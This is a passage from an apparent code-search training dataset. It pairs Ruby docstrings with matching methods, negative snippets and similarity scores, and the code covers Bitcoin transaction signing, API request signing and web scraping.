kurshemsidan:\n node.search(\".//a\").each do |node|\n # Hämta kurshemsidan\n course_page = fetch_coursepage(make_absolute(node['href']))\n # Spara i databasen\n save_coursepage(node.text, course_page, info)\n end\n end\n end\nend", "def get_next_article(url)\n uri = URI(URI::Parser.new.escape(url))\n response = Net::HTTP.get(uri)\n\n doc = Nokogiri::HTML.parse(response)\n\n #article = doc.at('a:contains(\"Article suivant\")')\n article = doc.at('a:contains(\"Nächster Artikel\")')\n article['href']\nend", "def artist_details(artist)\n Scraper.scrape_individual_artist(artist) \n\n puts \"\"\n puts \"Here are more details about #{artist.name.bold}.\".black.on_light_white\n puts \"\"\n puts \"Representing Gallery: #{artist.gallery.name} \"\n puts \"\"\n puts \"Artist Bio: #{artist.bio}\"\n puts \"\"\n puts \"About the Artist : #{artist.about_art}\"\n puts \"\"\n\n end", "def print_first_directors_movie_titles\n # go through directors database\n # set a variable to data you want to extract\n first_movies = directors_database[0][:movies]\n # set a index variable \n index = 0 \n # create while loop condition \n\n while index < first_movies.length do \n # what code is suppose to executed\n titles = first_movies[index][:title]\n puts titles\n index +=1\n end\nend", "def learn_it\n interviews = \"https://www.youtube.com/playlist?list=PLUJNJAesbJGVGDiZJ8WvcEC3e1O5cDb5r\"\n puts \"If you want to learn from the IT pros, check out this playlist #{interviews}\"\n superprof_it = \"http://bit.ly/superprof-info\"\n puts \"If you want private lessons, checkout my profile here: #{superprof_it}\"\n podia\nend", "def main()\n print_logo()\n print_author_info() \n print_version_info()\n print_all_magazines_info()\n break_option = get_break_option()\n choose_specific_magazine_option = get_choose_specific_magazine_option()\n magazine_number = get_magazine_number(choose_specific_magazine_option)\n\n magazines_to_crawl = Hash.new\n\n if choose_specific_magazine_option and magazine_number > 0 then\n print \"Iniciando procedimento para UMA REVISTA ESPECÍFICA... \"\n selected_magazine_name, select_magazine_url = select_magazine_info(magazine_number - 1)\n magazines_to_crawl[selected_magazine_name] = select_magazine_url\n print \"OK.\\n\".green\n else \n print \"Iniciando procedimento para TODAS AS REVISTAS... \"\n magazines_to_crawl = $magazines_urls\n print \"OK.\\n\".green\n end\n\n magazines_to_crawl.each do |mag_name, mag_url|\n show_magazine_info(mag_name)\n mag_index_pages = get_mag_index_pages(mag_url)\n puts \"Total de páginas com edições: \" + mag_index_pages.length.to_s.blue\n mag_index_pages.each_with_index do |index_url, i|\n puts \"=+=+=+=+=\", \"Interpretando página \" + (i+1).to_s.light_blue\n # the function has scielo treatment\n edition_urls, is_scielo = get_edition_urls(index_url)\n edition_urls.each_with_index do |ed_url, index|\n puts \"-*-*-*-*-\"\n puts \"Interpretando \" + ((index+1).to_s + \"ª\").blue + \" edição...\" \n articles_urls_list = get_articles_links_from_edition_url(ed_url, is_scielo)\n # there's an intermediate page. Try to put '/showToc' in url\n # and execute again\n if articles_urls_list.length < 1 then\n ed_url = ed_url + \"/showToc\"\n articles_urls_list = get_articles_links_from_edition_url(ed_url, is_scielo)\n end\n articles_urls_list.each do |a_url|\n article_data = get_article_data_from_article_url(a_url)\n article_object = Article.new(article_data)\n print_article_info(article_object)\n begin\n save_article_object_to_db(article_object)\n rescue => e\n chew_error_and_print_message(e)\n end\n end \n end\n end\n end\n puts \"Fim \" + \";\".blue + \")\".red\n puts \"========================\"\nend", "def get_links(page_url)\n ndoc = Nokogiri::HTML(open(page_url))\n links = ndoc.css('a')\n tmp = []\n found = nil\n links.each do |ln|\n if ln.text == \"next 5,000\"\n tmp = get_links(\"http://en.wikipedia.org\" + ln[\"href\"])\n tmp << \"http://en.wikipedia.org\" + ln[\"href\"]\n found = true\n break\n end\n end\n if found == nil\n tmp << page_url\n end\n tmp\nend", "def explore \n current_link = @source_link\n while(current_link.downcase != \"[[philosophy]]\")\n link_in_database = Link.first(:link_name => current_link) \n #If already in database then break the loop.\n unless link_in_database.nil?\n update_hash_from_db(link_in_database)\n break;\n end\n \n #if link already encountered then its a cycle. \n unless path_hash[current_link].nil?\n @type = \"cycle\"\n break;\n end \n #Get the page and its contents.\n page = Wikipedia.find(current_link.gsub(/\\[/,'').gsub(/\\]/,''))\n if page.nil?\n @type = \"dead-end\"\n break;\n end \n content = page.content\n if content.nil?\n @type = \"dead-end\"\n break;\n end\n #Get the first link from the content.\n next_link = get_first_link(content)\n if next_link.nil?\n @type = \"dead-end\"\n break;\n end\n \n insert_link_update_path_hash(current_link, next_link)\n current_link = next_link\n next_link = nil\n end #end while\n\n #If type is nil then it succesfully found philosophy.\n if @type.nil?\n @type = \"philosophy\"\n end\n \n save_to_db\n \n unless link_in_database.nil?\n get_database_path(link_in_database)\n @type = @database_path.first.type\n end\n end" ]
[ "0.6863866", "0.646372", "0.60471344", "0.60028046", "0.59979093", "0.59979093", "0.59979093", "0.59979093", "0.5923486", "0.5832639", "0.5690334", "0.5682024", "0.56792265", "0.5672313", "0.5624293", "0.5579209", "0.5571328", "0.55658877", "0.5555031", "0.5525902", "0.55182713", "0.547589", "0.54700917", "0.54682416", "0.5461998", "0.54555607", "0.54555607", "0.542818", "0.5414285", "0.54095143", "0.5408493", "0.5396778", "0.53883773", "0.5384021", "0.53619677", "0.5358814", "0.5350209", "0.5349726", "0.53399265", "0.5337442", "0.5322544", "0.53218234", "0.5312398", "0.5279787", "0.52722305", "0.52722305", "0.52632916", "0.526265", "0.5256046", "0.52457565", "0.5240621", "0.52245414", "0.52197677", "0.5208848", "0.5203787", "0.5199028", "0.5199028", "0.51951265", "0.5193274", "0.5182998", "0.5151718", "0.5149086", "0.51381624", "0.51351273", "0.51314586", "0.5128494", "0.51270545", "0.5114056", "0.5114056", "0.5110761", "0.5105468", "0.50834763", "0.5082795", "0.5081211", "0.5079413", "0.5075637", "0.5072465", "0.506043", "0.5058446", "0.5050172", "0.50494784", "0.50487065", "0.50483197", "0.5031645", "0.5030621", "0.5030621", "0.5030621", "0.5030621", "0.5027693", "0.5025206", "0.5022156", "0.5018511", "0.50156665", "0.501021", "0.5005437", "0.4999685", "0.4998988", "0.49967346", "0.4990654", "0.49892336" ]
0.6730045
1
Takes a Transaction ready to be signed. Returns an Array of signature dictionaries.
def signatures(transaction, names: [:primary]) transaction.inputs.map do |input| path = input.output.metadata[:wallet_path] node = self.path(path) sig_hash = transaction.sig_hash(input, node.script) node.signatures(sig_hash, names: names) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def signatures\n parsed {\n @signatures \n }\n end", "def sign(wallet)\n tx = Arweave::Transaction.new(data: @commit.message.to_s)\n @commit.to_tags.each do |name, value|\n tx.add_tag(name: name, value: value)\n end\n tx.sign(wallet)\n end", "def transactions\n\t\treturn MessagePack.unpack( self.payload ).map {|tr| tr.transform_keys(&:to_sym) }\n\tend", "def signatures\n attributes.fetch(:signatures)\n end", "def transactions\n JSON.parse(call_blockchain_api(\"transactions\"))\n end", "def signature_fields\n parsed {\n @signature_fields\n }\n end", "def sign_transaction(tx)\n signed_tx = respond_to?(:signrawtransactionwithwallet) ? signrawtransactionwithwallet(tx) : signrawtransaction(tx)\n raise OpenAssets::Error, 'Could not sign the transaction.' unless signed_tx['complete']\n Bitcoin::Protocol::Tx.new(signed_tx['hex'].htb)\n end", "def signature_base\n tx = Stellar::Transaction.from_xdr(\n # TransactionV0 is a transaction with the AccountID discriminant\n # stripped off, we need to put it back to build a valid transaction\n # which we can use to build a TransactionSignaturePayloadTaggedTransaction\n Stellar::PublicKeyType.to_xdr(Stellar::PublicKeyType.public_key_type_ed25519) + to_xdr\n )\n\n tagged_tx = Stellar::TransactionSignaturePayload::TaggedTransaction.new(:envelope_type_tx, tx)\n\n Stellar::TransactionSignaturePayload.new(\n network_id: Stellar.current_network_id,\n tagged_transaction: tagged_tx\n ).to_xdr\n end", "def signrawtransaction(hexstring, transaction = nil, privatekey =nil, sighashtype = \"ALL\")\n @api.request 'signrawtransaction', hexstring, transaction, privatekey, sighashtype\n end", "def signature\n time = Time.now\n {\n mktowsUserId: user_id,\n requestTimestamp: time.to_s,\n requestSignature: hmac(time),\n }\n end", "def sign_tx(raw_tx, pkey_wif)\n # Seems like this is your quintessential reference: \n # http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html\n\n # I think this is the right way to do it...\n Bitcoin.network = (bitcoin.is_testing?) ? :testnet3 : :bitcoin\n\n # This parses the binary-encoded raw transaction:\n tx = Bitcoin::P::Tx.new [raw_tx].pack('H*')\n\n # This is the input transaction, which we'll need for signining:\n prev_hash = tx.in[0].prev_out.reverse_hth\n\n # let's parse the keys:\n key = Bitcoin::Key.from_base58 pkey_wif\n\n pubkey = [key.pub].pack('H*')\n\n # And parse the input transaction:\n prev_tx = Bitcoin::P::Tx.new [bitcoin.getrawtransaction(prev_hash)].pack('H*')\n\n # And, now we're ready to sign: \n subscript = tx.signature_hash_for_input 0, prev_tx\n sig = Bitcoin.sign_data Bitcoin.open_key(key.priv), subscript\n tx.in[0].script_sig = Bitcoin::Script.to_signature_pubkey_script sig, pubkey \n\n tx.to_payload.unpack('H*')[0]\n end", "def transloadit_params_signature(params)\n auth_secret = Lynr.config('app')['transloadit']['auth_secret']\n return nil if auth_secret.nil?\n digest = OpenSSL::Digest::Digest.new('sha1')\n OpenSSL::HMAC.hexdigest(digest, auth_secret, JSON.generate(params))\n end", "def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end", "def verify_tx_signed_by(transaction_envelope:, keypair:)\n hashed_signature_base = transaction_envelope.tx.hash\n\n transaction_envelope.signatures.any? do |sig| \n keypair.verify(sig.signature, hashed_signature_base)\n end\n end", "def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end", "def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end", "def signature t\n case t\n when nil, true, false; 0\n when Numeric; 1\n when String, Symbol; 2\n when Array; t.map {|v| signature(v)}\n when Hash; t.each_with_object({}) {|(k,v), h| h[k] = signature(v)}\n else raise ArgumentError, \"cannot compute signature for #{t.inspect}\"\n end\n end", "def signature\n k_date = Digestor.hmac(\"AWS4\" + secret_key, date[0, 8])\n k_region = Digestor.hmac(k_date, region)\n k_service = Digestor.hmac(k_region, service)\n k_credentials = Digestor.hmac(k_service, \"aws4_request\")\n Digestor.hexhmac(k_credentials, string_to_sign)\n end", "def transactions\n raw_transactions = @agent.get(\"https://wwws.mint.com/transactionDownload.event?\").body\n\n transos = []\n\n raw_transactions.split(\"\\n\").each_with_index do |line,index|\n\n if index > 1\n line_array = line.split(\",\")\n transaction = {\n :date => Date.strptime(remove_quotes(line_array[0]), '%m/%d/%Y'),\n :description=>remove_quotes(line_array[1]),\n :original_description=>remove_quotes(line_array[2]),\n :amount=>remove_quotes(line_array[3]).to_f,\n :type=>remove_quotes(line_array[4]),\n :category=>remove_quotes(line_array[5]),\n :account=>remove_quotes(line_array[6]),\n :labels=>remove_quotes(line_array[7]),\n :notes=>remove_quotes(line_array[8])\n }\n transos << transaction\n\n if block_given?\n yield transaction\n end\n\n end\n\n end\n transos\n \n end", "def signature_params\n params.require(:signature).permit(:sign)\n end", "def sign(t_outputs)\n # binding.pry\n Base64.encode64(private_key.sign(OpenSSL::Digest::SHA256.new, t_outputs.to_json))\n end", "def signer_info( xml, sig )\n sig_info = Hash.new\n if ! sig.signature_node.empty?\n sig_info[ :signer_name ] = sig.signer_name\n sig_info[ :signer_issuer_name ] = sig.signer_issuer\n if ! sig.signer_node.empty?\n signer_ns_prefix = namespace_prefix( xml, MStr::Ns_Xmldsig )\n sig_info[ :x509serialnumber ] = sig.signer_node.first.xpath( \"//#{ signer_ns_prefix }:X509SerialNumber\", signer_ns_prefix => MStr::Ns_Xmldsig ).first.text.to_i\n sig_info[ :cert_serial ] = sig.crypto.context.first.serial.to_i unless sig.crypto.context.empty?\n end\n end\n return sig_info\nend", "def signer_info( xml, sig )\n sig_info = Hash.new\n if ! sig.signature_node.empty?\n sig_info[ :signer_name ] = sig.signer_name\n sig_info[ :signer_issuer_name ] = sig.signer_issuer\n if ! sig.signer_node.empty?\n signer_ns_prefix = namespace_prefix( xml, MStr::Ns_Xmldsig )\n sig_info[ :x509serialnumber ] = sig.signer_node.first.xpath( \"//#{ signer_ns_prefix }:X509SerialNumber\", signer_ns_prefix => MStr::Ns_Xmldsig ).first.text.to_i\n sig_info[ :cert_serial ] = sig.crypto.context.first.serial.to_i unless sig.crypto.context.empty?\n end\n end\n return sig_info\nend", "def signed_request_params(timestamp = nil)\n timestamp ||= Time.now.to_i\n data = \"#{self.id} - #{timestamp} - #{self.connection.partner.api_key}\"\n {\n 'user_id' => id,\n 'ts' => timestamp,\n 'sig' => Digest::SHA1.hexdigest(data).slice(0, 10)\n }\n end", "def get_signature_requests(opts={})\n path = '/signature_request/list'\n opts[:query] = create_search_string(opts[:query]) if opts[:query]\n query = create_query_string(opts, [:page, :page_size, :query])\n path += query\n HelloSign::Resource::ResourceArray.new get(path, opts), 'signature_requests', HelloSign::Resource::SignatureRequest\n end", "def transaction_params\n params[:transaction]\n end", "def transaction_params\n params[:transaction]\n end", "def signature\n digest = \"SHA256\"\n OpenSSL::HMAC.hexdigest(digest, signing_key, string_to_sign)\n end", "def transactions\n JSON.parse(response.body).fetch('transactions')\n end", "def updated_signatures\n\t\tsignatures = {}\n\n\t\texecute_xpath('//dss:UpdatedSignature').each do |updated_signature|\n\t\t\tform = updated_signature.attributes['Type']\n\t\t\tform =:default if form.nil? #signature updated by the default service policy currently an ES-C\n\t\t\tsignatures[form] = REXML::Document.new(updated_signature.children[0].children[0].to_s)\n\t\tend\n\n\t\treturn signatures\n\tend", "def get_signatures(limit = 100, offset = 0, conditions = {})\n params = extract_query_params conditions\n\n params['limit'] = limit\n params['offset'] = offset\n\n request :get, \"/v3/signatures.json\", params\n end", "def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end", "def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end", "def sign(pvt, id, txn)\n raise 'pvt must be of type Key' unless pvt.is_a?(Key)\n raise 'id must be of type Id' unless id.is_a?(Id)\n raise 'txn must be of type Txn' unless txn.is_a?(Txn)\n pvt.sign(body(id, txn))\n end", "def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def transaction_params\n params.fetch(:transaction, {})\n end", "def to_json\n {\n transactions: @transactions.map { |k, v| [k, v.to_h] }.to_h,\n transactions_hash: @transactions_hash,\n timestamp: @timestamp,\n allowed_miners: @allowed_miners,\n height: @height,\n previous_hash: @previous_hash,\n signed_by: @signed_by,\n signature: @signature\n }.to_json\n end", "def wallet_transaction_sign(wallet_transaction_sign_request, opts = {})\n data, _status_code, _headers = wallet_transaction_sign_with_http_info(wallet_transaction_sign_request, opts)\n data\n end", "def signer\n end", "def authorize(transaction, *signers)\n transaction.set_script_sigs *signers do |input, *sig_dicts|\n node = self.path(input.output.metadata[:wallet_path])\n signatures = combine_signatures(*sig_dicts)\n node.script_sig(signatures)\n end\n transaction\n end", "def signature\n EPDQ::ShaCalculator.new(full_parameters, EPDQ.sha_in, EPDQ.sha_type).signature\n end", "def signature\n @signature ||= set_signature(nil)\n end", "def verify_tx_signed_by(transaction_envelope:, keypair:)\n Stellar::SEP10.verify_tx_signed_by(\n tx_envelope: transaction_envelope, keypair: keypair\n )\n end", "def signature(i)\n raise \"Not a signature!\" unless i.is_a? Signature\n @signatures << i\n end", "def valid_cryptography?(transaction)\n # The signature of the message needs to be valid and come from the sender.\n if transaction[\"id\"] != Digest::SHA256.hexdigest(transaction[\"signature\"])\n $logger.warn(\"Transaction ID isn't the SHA256 of the signature\")\n return false\n end\n\n # The signature should be valid.\n if transaction[\"message\"][\"type\"] != \"mining_reward\"\n public_key = ECDSA::Format::PointOctetString.decode(\n Base58.base58_to_binary(transaction[\"message\"][\"from\"]),\n ECDSA::Group::Secp256k1,\n )\n\n digest = Digest::SHA256.digest(transaction[\"message\"].sort.to_h.to_json)\n\n signature = ECDSA::Format::SignatureDerString.decode(\n Base58.base58_to_binary(transaction[\"signature\"])\n )\n\n if ECDSA.valid_signature?(public_key, digest, signature) == false\n $logger.warn(\"Transaction signature is invalid\")\n return false\n end\n end\n end", "def transactions\n txs = @client.listtransactions.reverse\n txs.map do |tx|\n tx = symbolize tx\n Transaction.new(\n account: tx.f(:account),\n address: tx.f(:address),\n category: tx.f(:category),\n amount: tx.f(:amount),\n vout: tx.f(:vout),\n confirmations: tx.f(:confirmations),\n blockhash: tx[:blockhash],\n blockindex: tx[:blockindex],\n blocktime: tx[:blocktime],\n txid: tx.f(:txid),\n keychainconflicts: tx.f(:keychainconflicts),\n time: tx.f(:time),\n timereceived: tx.f(:timereceived),\n )\n end\n end", "def build_signature_buffer(result); end", "def build_signature_buffer(result); end", "def signature_hexes\n return [] unless @vulnerability_finding_signatures_enabled && signatures.present?\n\n signatures.sort_by(&:priority).map(&:signature_hex).reverse\n end", "def transactions\n @transactions ||= []\n end", "def index\n @user_signatures = UserSignature.all\n end", "def signature\n subject = self.class.sig_subject([@payload,\n DATA_TYPE,\n ENCODING,\n ALGORITHM])\n @rsa_pkey.sign(DIGEST, subject)\n end", "def compute_signature params\n if $DEBUG\n puts \"keys before sorted: #{params.keys}\"\n end\n\n sorted_keys = params.keys.sort\n\n if $DEBUG\n puts \"keys after sorted: #{sorted_keys}\"\n end\n\n canonicalized_query_string = \"\"\n\n canonicalized_query_string = sorted_keys.map {|key|\n \"%s=%s\" % [safe_encode(key.to_s), safe_encode(params[key])]\n }.join(self.service.separator)\n\n length = canonicalized_query_string.length\n\n string_to_sign = self.service.http_method + self.service.separator + safe_encode('/') + self.service.separator + safe_encode(canonicalized_query_string)\n\n if $DEBUG\n puts \"string_to_sign is #{string_to_sign}\"\n end\n\n signature = calculate_signature access_key_secret+\"&\", string_to_sign\n end", "def text_representation\n self.signed_request[:signature].to_s\n end", "def text_representation\n self.signed_request[:signature].to_s\n end", "def gen_sig(mac, params)\n signed = params[\"signed\"].split(\",\").map {|k| [k, params[k]]}\n base64_encode(Signatures.sign(mac, kv_encode(signed)))\n rescue Signatures::NotFound\n nil\n end", "def sign\n res = HTTParty.post(\n sign_url,\n body: body.to_json,\n headers: { 'Content-Type' => 'application/json' }\n )\n\n check_for_error(res)\n\n res.parsed_response\n end", "def get_timestamp_and_signatures(header, payload)\n list_items = header.split(/,\\s*/).map { |i| i.split(\"=\", 2) }\n timestamp = Time.at(Integer(list_items.select { |i| i[0] == \"t\" }[0][1]))\n signatures = list_items.select { |i| i[0] == scheme }.map { |i| i[1] }\n\n [timestamp, signatures]\n\n rescue StandardError\n raise Errors::SignatureVerificationError.new(\n \"Unable to extract timestamp and signatures from header\",\n header: header, payload: payload\n )\n end", "def signature\n registration_data_raw.byteslice(\n (KEY_HANDLE_OFFSET + key_handle_length + certificate_length)..-1\n )\n end", "def signed_elements\n []\n end", "def parse_signature(section, sections=[])\n signatures = []\n\n section = section.sub('Signature', '').strip\n\n signatures << section unless section.empty?\n\n while sections.first && sections.first !~ /^\\S/\n sigs = sections.shift\n sigs.split(\"\\n\").each do |s|\n signatures << s.strip\n end\n end\n\n @signatures = signatures\n\n if sections.first && sections.first =~ /^\\w+\\s*\\-/m\n parse_signature_fields(sections.shift)\n end\n end", "def signed_data\n @signed_data = @signed_fields.index_with { |field| @fields[field] }\n end", "def signature_key; end", "def formatted_signature(signature)\n n = (verify_key_length.to_f / BYTE_LENGTH).ceil\n\n if signature.size == n * 2\n r = signature[0..(n - 1)]\n s = signature[n..-1]\n\n OpenSSL::ASN1::Sequence.new([r, s].map { |int| OpenSSL::ASN1::Integer.new(OpenSSL::BN.new(int, 2)) }).to_der\n else\n signature\n end\n end", "def stored_signature; end", "def to_json\n { :document => document, :signature => signature }.to_json\n end", "def create_signature(params, secret) # :nodoc:\n query = build_nested_query(params)\n\n require 'openssl'\n digest = OpenSSL::Digest::Digest.new('sha1')\n signature = OpenSSL::HMAC.hexdigest(digest, secret, query)\n\n # require 'pp'\n # print '----------------------------------'\n # pp params\n # pp query\n # pp secret\n # pp signature\n\n return signature\n end", "def hash_transactions\n tx_ids = transactions.map do |tx|\n tx.id\n end\n Digest::SHA256.hexdigest(tx_ids.join(''))\n end", "def payload\n self[0...-SIGNATURE_LENGTH]\n end", "def sign()\n # TODO\n end", "def parse_signature(signature)\n # return signature.shift, signature.shift\n [signature.shift, signature.shift]\n end", "def parameters_for_signature\n params = []\n params << options[:parameters].to_query if options[:parameters]\n\n unless options[:clobber_request]\n params << header_params.to_query\n params << request.query_string unless query_string_blank?\n\n if request.post? && request.content_type.to_s.downcase.start_with?(\"application/x-www-form-urlencoded\")\n params << request.raw_post\n end\n end\n\n params.\n join('&').split('&').\n reject { |s| s.match(/\\A\\s*\\z/) }.\n map { |p| p.split('=').map{|esc| CGI.unescape(esc)} }.\n reject { |kv| kv[0] == 'oauth_signature'}\n end", "def signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n ENV['S3_SECRET_ACCESS_KEY'],\n policy_document\n )\n ).gsub(/\\n/, '')\n end", "def to_signed_tx(private_key)\n sign_tx to_raw_tx, private_key\n end", "def payload_for_transaction(payment)\n {\n transaction: {\n amount: payment.amount,\n currency: payment.currency,\n reference: payment.order_id,\n merchant_data: \"payment_id:#{payment.id}\",\n transaction_url: {\n return_url: {\n url: EcwidPizzeria::Application.config.make_commerce.return_url,\n method: 'POST'\n },\n cancel_url: {\n url: EcwidPizzeria::Application.config.make_commerce.cancel_url,\n method: 'POST'\n },\n notification_url: {\n url: EcwidPizzeria::Application.config.make_commerce.notification_url,\n method: 'POST'\n }\n }\n },\n customer: {\n # email: \"customer@email.com\",\n ip: @request_ip,\n country: @country_code,\n locale: @language\n }\n }\n end", "def get_signature(signature_id)\n request :get, \"/v3/signatures/#{signature_id}.json\"\n end", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def create_signatures(request)\n data, _status_code, _headers = create_signatures_with_http_info(request)\n data\n end", "def signing_input; end", "def signing_input; end", "def signature(params)\n self.class._hmac(secret, params) if secret.to_s.length > 0\n end", "def verify_signature(signature, bytes, signer_public_key)\n signature = Validation.check_filled_array_argument!(signature)\n bytes = Validation.check_filled_array_argument!(bytes)\n signer_public_key = Validation.check_type_argument!(VirgilPublicKey, signer_public_key)\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(HashAlgorithm::SHA512)\n signer = Core::VirgilSigner.new(native_algorithm)\n signer.verify(bytes, signature, signer_public_key.raw_key)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n\n end", "def sign content\n Utils::BinUtil.to_hex(sign_to_bin(content))\n end", "def signed_data\n @signed_data ||= @signed_fields.index_with { |field| send(field) }\n end", "def parse_signed_payload\n signed_payload = params[:signed_payload]\n message_parts = signed_payload.split('.')\n\n encoded_json_payload = message_parts[0]\n encoded_hmac_signature = message_parts[1]\n\n payload = Base64.decode64(encoded_json_payload)\n provided_signature = Base64.decode64(encoded_hmac_signature)\n\n expected_signature = sign_payload(bc_client_secret, payload)\n\n if secure_compare(expected_signature, provided_signature)\n return JSON.parse(payload, symbolize_names: true)\n end\n\n nil\nend", "def current_signatures\n category_map = {\n pending_officer_signatures: :as_officer,\n pending_treasurer_signature: :as_treasurer,\n pending_president_signature: :as_president\n }\n\n return [] if category_map[state.to_sym].nil?\n\n signatures.where(category: Signature.categories[category_map[state.to_sym]])\n end", "def verify_signatures spec, digests, signatures\n if only_signed and signatures.empty? then\n raise Gem::Security::Exception,\n \"unsigned gems are not allowed by the #{name} policy\"\n end\n\n digests.each do |file, digest|\n signature = signatures[file]\n raise Gem::Security::Exception, \"missing signature for #{file}\" unless\n signature\n verify_signature signature, digest.digest, spec.cert_chain\n end\n end", "def wrap(to_sign)\n {\n 'signatures' => [],\n 'signed' => to_sign,\n }\n end", "def signature\n Base64.encode64(digest_with_key(string_to_sign)).strip\n end", "def sign(params, shared_secret = nil)\n shared_secret ||= params.delete['sharedSecret']\n raise ArgumentError, \"Cannot verify a signature without a shared secret\" unless shared_secret\n sig = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), Array(shared_secret).pack(\"H*\"), string_to_sign(params))\n params.merge('merchantSig' => Base64.encode64(sig).strip)\n end", "def rsa_sign arr\n # RFC 3447 / 9.2.\n hash = Digest::SHA1.digest arr.map(&:chr).join\n\n # RFC 3447 / page 43\n digest_info = [0x30, 0x21, 0x30, 0x09, 0x06,\n 0x05, 0x2b, 0x0e, 0x03, 0x02,\n 0x1a, 0x05, 0x00, 0x04, 0x14].map(&:chr).join\n\n # i don't do the padding, openssl does that for me\n # i'll reimplement RSA later on\n signature = HOST_KEY.private_encrypt(digest_info + hash)\nend", "def sign_transaction(wallet_id: default_wallet_id, params: {})\n call :post, '/wallet/' + wallet_id + '/signtransaction', params\n end", "def signature(klass)\n signatures[klass]\n end", "def signature\n Base64.encode64(encryption_key.sign(OpenSSL::Digest::SHA256.new, id_string))\n end", "def jde_buyer_invoice_hashes_array\n jde_invoice_hashes_array('member')\n end", "def transactions(options = {})\n []\n end", "def handle_assemble_tx tx_hex, sig_pubs\n tx = Bitcoin::P::Tx.new(tx_hex.htb)\n sig_pubs.each.with_index do |sig_pub, idx|\n sig, pub = *sig_pub.map(&:htb)\n script_sig = Bitcoin::Script.to_signature_pubkey_script(sig, pub)\n tx.in[idx].script_sig_length = script_sig.bytesize\n tx.in[idx].script_sig = script_sig\n end\n tx = Bitcoin::P::Tx.new(tx.to_payload)\n tx.validator(@node.store).validate(raise_errors: true)\n tx.to_payload.hth\n rescue\n { error: \"Error assembling tx: #{$!.message}\" }\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :account_id, :note, :sign, :account_to_id)\n end" ]
[ "0.6689318", "0.6305804", "0.6164084", "0.6159831", "0.6077063", "0.606096", "0.604645", "0.6042075", "0.5902153", "0.58294094", "0.57881963", "0.5778881", "0.577542", "0.57421714", "0.57016987", "0.5696778", "0.56844485", "0.5684061", "0.5680799", "0.56645614", "0.5657761", "0.56215245", "0.56215245", "0.55992496", "0.5587532", "0.55510455", "0.55510455", "0.5514707", "0.55102664", "0.55089074", "0.5494027", "0.54830885", "0.54830885", "0.5481111", "0.54557246", "0.5446346", "0.5446346", "0.5446346", "0.5434088", "0.5430163", "0.54274637", "0.54168534", "0.53875536", "0.53839916", "0.53804225", "0.53780526", "0.53756213", "0.5373195", "0.5368528", "0.5368528", "0.53529817", "0.53485155", "0.53400546", "0.53361005", "0.5332973", "0.53201604", "0.53201604", "0.5320114", "0.53055406", "0.5301662", "0.5297486", "0.52865565", "0.5280826", "0.5268575", "0.5262533", "0.5255585", "0.52405256", "0.5238816", "0.5236346", "0.5234519", "0.5221203", "0.5210291", "0.5209583", "0.51963264", "0.5189115", "0.5184775", "0.5178884", "0.5173129", "0.5170139", "0.5168343", "0.5168054", "0.5168054", "0.51391363", "0.5138275", "0.5137318", "0.5123751", "0.5122753", "0.5112745", "0.5106191", "0.5100353", "0.50907147", "0.5089246", "0.50838894", "0.5081233", "0.5078143", "0.5076703", "0.5074916", "0.50734097", "0.5072391", "0.50720614" ]
0.7225957
0
Takes a Transaction and any number of Arrays of signature dictionaries. Each sig_dict in an Array corresponds to the Input with the same index. Uses the combined signatures from all the signers to generate and set the script_sig for each Input. Returns the transaction.
def authorize(transaction, *signers) transaction.set_script_sigs *signers do |input, *sig_dicts| node = self.path(input.output.metadata[:wallet_path]) signatures = combine_signatures(*sig_dicts) node.script_sig(signatures) end transaction end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def signatures(transaction, names: [:primary])\n transaction.inputs.map do |input|\n path = input.output.metadata[:wallet_path]\n node = self.path(path)\n sig_hash = transaction.sig_hash(input, node.script)\n node.signatures(sig_hash, names: names)\n end\n end", "def create_tx(tx, prev_tx, prev_out_index, outputs, key = @key)\n tx.input {|i| i.prev_out prev_tx; i.prev_out_index prev_out_index; i.signature_key key }\n outputs.each do |value, key|\n tx.output {|o| o.value value; o.script {|s| s.recipient key.addr } }\n end\nend", "def signature_hash(input_index: nil, output_script: nil, hash_type: BTC::SIGHASH_ALL, version: 0, amount: 0)\n\n raise ArgumentError, \"Should specify input_index in Transaction#signature_hash.\" if !input_index\n raise ArgumentError, \"Should specify output_script in Transaction#signature_hash.\" if !output_script\n raise ArgumentError, \"Should specify hash_type in Transaction#signature_hash.\" if !hash_type\n\n # Create a temporary copy of the transaction to apply modifications to it.\n tx = self.dup\n\n # Note: BitcoinQT returns a 256-bit little-endian number 1 in such case,\n # but it does not 